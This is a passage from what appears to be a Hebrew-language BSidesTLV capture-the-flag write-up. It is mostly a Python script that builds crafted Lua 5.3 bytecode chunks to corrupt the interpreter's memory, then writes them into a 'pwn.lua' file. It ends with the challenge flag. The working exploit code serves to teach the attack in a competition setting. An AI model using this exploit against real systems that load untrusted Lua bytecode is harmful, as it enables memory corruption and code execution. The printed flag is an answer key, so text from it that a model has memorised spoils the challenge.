'LT' : (32, A, B, C),
'LE' : (33, A, B, C),
'TEST' : (34, A, C),
'TESTSET' : (35, A, B, C),
'CALL' : (36, A, B, C),
'TAILCALL': (37, A, B, C),
'RETURN' : (38, A, B),
'FORLOOP' : (39, A, sBx),
'FORPREP' : (40, A, sBx),
'TFORCALL': (41, A, C),
'TFORLOOP': (42, A, sBx),
'SETLIST' : (43, A, B, C),
'CLOSURE' : (44, A, Bx),
'VARARG' : (45, A, B),
'EXTRAARG': (46, Ax),
}
code = []
for op, *args in asm:
assert(op in handlers)
opcode, *packers = handlers[op]
assert(len(packers) == len(args))
instr = Op(opcode)
for i in range(len(packers)):
instr |= packers[i](args[i])
code.append(instr)
return code
def dump_string(s):
if len(s) == 0:
return b'\x00'
else:
size = len(s) + 1
if size < 0xff:
return pack('=B', size) + s
else:
return pack('=BQ', 0xff, size) + s
def dump_code(asm):
instrs = assemble(asm)
codesize = pack('=I', len(instrs))
code = b''.join(pack('=I', instr) for instr in instrs)
return codesize + code
def dump_constants(constants):
return pack('=I', len(constants)) + b''.join(constants)
def dump_upvalues():
return pack('=I', 0)
def dump_protos():
return pack('=I', 0)
def dump_debug():
return pack('=III', 0, 0, 0)
def build_function(code, max_stacksize, constants):
FunctionMetadata = Struct('=i i b b b')
header = dump_string(b'@hax.lua') + FunctionMetadata.pack(0, 0, 0, 2, max_stacksize)
code = dump_code(code)
constants = dump_constants(constants)
upvals = dump_upvalues()
protos = dump_protos()
debug = dump_debug()
return header + code + constants + upvals + protos + debug
def build_chunk(asm, max_stacksize, constants):
Header = Struct('=4s B B 6s B B B B B q d')
header = Header.pack(b'\x1bLua', 83, 0, b'\x19\x93\r\n\x1a\n', 4, 8, 4, 8, 8, 0x5678, 370.5)
upvals = pack('=B', 1)
func = build_function(asm, max_stacksize, constants)
return header + upvals + func
def pwn():
MAX_STACKSIZE = 107
ASM = [
('LOADK', 0, 104),
('LOADK', 1, 105),
('LOADK', 2, 106),
('RETURN', 0, 0)
]
CONSTANTS = []
content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5)
for i in range(100):
CONSTANTS.append(content)
#CONSTANTS.append(pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQ', 0x16, 0x42ceb1) * 25)) # CFI catches this
chunk = build_chunk(ASM, MAX_STACKSIZE, CONSTANTS)
code = open('pwn.tpl.lua', 'r').read()
chunk_str = hexlify(chunk).decode('ASCII')
n = 3000
chunk_str_splited = "\"\ntest = test .. \"".join([chunk_str[i:i+n] for i in range(0, len(chunk_str), n)])
code = code.replace('CHUNK', chunk_str_splited)
with open('pwn.lua', 'w') as f:
f.write(code)
if __name__ == '__main__':
pwn()
נריץ, ונקבל את הדגל!
BSidesTLV{KorokForest_HyruleCastle_ZeldaLink_Bowser}